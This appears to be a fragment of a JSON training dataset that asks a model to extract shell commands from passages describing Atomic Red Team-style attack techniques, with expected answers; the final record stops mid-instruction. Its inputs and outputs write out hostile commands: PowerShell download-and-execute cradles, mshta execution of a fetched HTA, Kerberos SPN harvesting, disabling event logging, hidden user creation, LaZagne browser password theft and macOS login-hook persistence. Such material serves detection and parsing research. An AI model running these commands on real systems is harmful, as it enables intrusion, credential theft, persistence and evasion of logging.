    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This technique emulates FIN7's method by executing a VB script that runs a PowerShell command for user enumeration. Upon execution, a new PowerShell window will display user details with the command: mshta vbscript:Execute(\"CreateObject(\"\"Wscript.Shell\"\").Run \"\"powershell -noexit -file PathToAtomicsFolder\\T1218.005\\src\\powershell.ps1\"\":close\"); This operation fetches and runs a remote HTA file (triggering calc.exe), then cleans up the calculator processes, via this command block: $var =Invoke-WebRequest \"#{hta_url}\"\n$var.content|out-file \"#{temp_file}\"\nmshta \"#{temp_file}\"\nstart-sleep -s 15\nstop-process -name \"calculator\" -Force -ErrorAction Ignore\nstop-process -name \"CalculatorApp\" -Force -ErrorAction Ignore\n",
    "output": "{\"command_list\": [\"mshta vbscript:Execute(\\\"CreateObject(\\\"\\\"Wscript.Shell\\\"\\\").Run \\\"\\\"powershell -noexit -file PathToAtomicsFolder\\\\T1218.005\\\\src\\\\powershell.ps1\\\"\\\":close\\\")\\n\", \"$var =Invoke-WebRequest \\\"#{hta_url}\\\"\\n$var.content|out-file \\\"#{temp_file}\\\"\\nmshta \\\"#{temp_file}\\\"\\nstart-sleep -s 15\\nstop-process -name \\\"calculator\\\" -Force -ErrorAction Ignore\\nstop-process -name \\\"CalculatorApp\\\" -Force -ErrorAction Ignore\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To extract Service Principal Names, which is commonly done during Kerberos or silver ticket attacks, use the following command: setspn -T #{domain_name} -Q */*; This test leverages PowerShell's Identity modules to query domain SPNs for a computer, producing output that's valuable for kerberos attacks, via the following command: Add-Type -AssemblyName System.IdentityModel\n$ComputerFQDN=$env:LogonServer.trimStart('\\') + \".\" + $env:UserDnsDomain\nNew-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList \"HTTP/$ComputerFQDN\"",
    "output": "{\"command_list\": [\"setspn -T #{domain_name} -Q */*\\n\", \"Add-Type -AssemblyName System.IdentityModel\\n$ComputerFQDN=$env:LogonServer.trimStart('\\\\') + \\\".\\\" + $env:UserDnsDomain\\nNew-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList \\\"HTTP/$ComputerFQDN\\\" \\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Illustrating how maldocs hide binaries within files, this module extracts calc.exe from another binary via the following command sequence:\n$macro = [System.IO.File]::ReadAllText(\"PathToAtomicsFolder\\T1564\\src\\T1564-macrocode.txt\")\n$macro = $macro -replace \"aREPLACEMEa\", \"PathToAtomicsFolder\\T1564\\bin\\extractme.bin\"\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing)\nInvoke-Maldoc -macroCode \"$macro\" -officeProduct \"Word\" -sub \"Extract\" -NoWrap; For creating a user with a '$' in the username, run the command: net user $ ATOMIC123! /add /active:yes",
    "output": "{\"command_list\": [\"$macro = [System.IO.File]::ReadAllText(\\\"PathToAtomicsFolder\\\\T1564\\\\src\\\\T1564-macrocode.txt\\\")\\n$macro = $macro -replace \\\"aREPLACEMEa\\\", \\\"PathToAtomicsFolder\\\\T1564\\\\bin\\\\extractme.bin\\\"\\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\nIEX (iwr \\\"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\\\" -UseBasicParsing)\\nInvoke-Maldoc -macroCode \\\"$macro\\\" -officeProduct \\\"Word\\\" -sub \\\"Extract\\\" -NoWrap\\n\", \"net user $ ATOMIC123! /add /active:yes\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    An attacker might disable the EventLog-Application logging channel by executing the registry update command: reg add \"HKLM\\System\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-Application\" /v \"Start\" /t REG_DWORD /d \"0\" /f. The changes become active only after restarting the system.; An attacker can effectively disable the Event log application channel by updating the Windows registry with this PowerShell command: New-ItemProperty -Path HKLM:\\System\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-Application -Name Start -Value 0 -PropertyType \"DWord\" -Force. The changes will be applied after a system restart.",
    "output": "{\"command_list\": [\"reg add \\\"HKLM\\\\System\\\\CurrentControlSet\\\\Control\\\\WMI\\\\Autologger\\\\EventLog-Application\\\" /v \\\"Start\\\" /t REG_DWORD /d \\\"0\\\" /f\", \"New-ItemProperty -Path HKLM:\\\\System\\\\CurrentControlSet\\\\Control\\\\WMI\\\\Autologger\\\\EventLog-Application -Name Start -Value 0 -PropertyType \\\"DWord\\\" -Force\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The MacOS shell will first navigate to the Cookies directory and then search the binaryCookies file for specified values using this command sequence: cd ~/Library/Cookies\ngrep -q \"#{search_string}\" \"Cookies.binarycookies\"\n; This Atomic test leverages LaZagne, an open-source tool for retrieving stored passwords, with the command: \"#{lazagne_path}\" browsers",
    "output": "{\"command_list\": [\"cd ~/Library/Cookies\\ngrep -q \\\"#{search_string}\\\" \\\"Cookies.binarycookies\\\"\\n\", \"\\\"#{lazagne_path}\\\" browsers\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The login hook can be configured by executing this command: sudo defaults write com.apple.loginwindow LoginHook #{script}; This procedure modifies the loginwindow plist to potentially launch Calculator on next login (though success depends on macOS version), by executing this command:\nFILE=`find ~/Library/Preferences/ByHost/com.apple.loginwindow.*.plist -type f | head -1`\nif [ -z \"${FILE}\" ] ; then echo \"No loginwindow plist file found\" && exit 1 ; fi\necho save backup copy to /tmp/\ncp ${FILE} /tmp/t1547007_loginwindow-backup.plist\necho before\nplutil -p ${FILE}\necho overwriting...\n#{exe_path} ${FILE} && echo after && plutil -p ${FILE}\n",
    "output": "{\"command_list\": [\"sudo defaults write com.apple.loginwindow LoginHook #{script}\\n\", \"FILE=`find ~/Library/Preferences/ByHost/com.apple.loginwindow.*.plist -type f | head -1`\\nif [ -z \\\"${FILE}\\\" ] ; then echo \\\"No loginwindow plist file found\\\" && exit 1 ; fi\\necho save backup copy to /tmp/\\ncp ${FILE} /tmp/t1547007_loginwindow-backup.plist\\necho before\\nplutil -p ${FILE}\\necho overwriting...\\n#{exe_path} ${FILE} && echo after && plutil -p ${FILE}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n  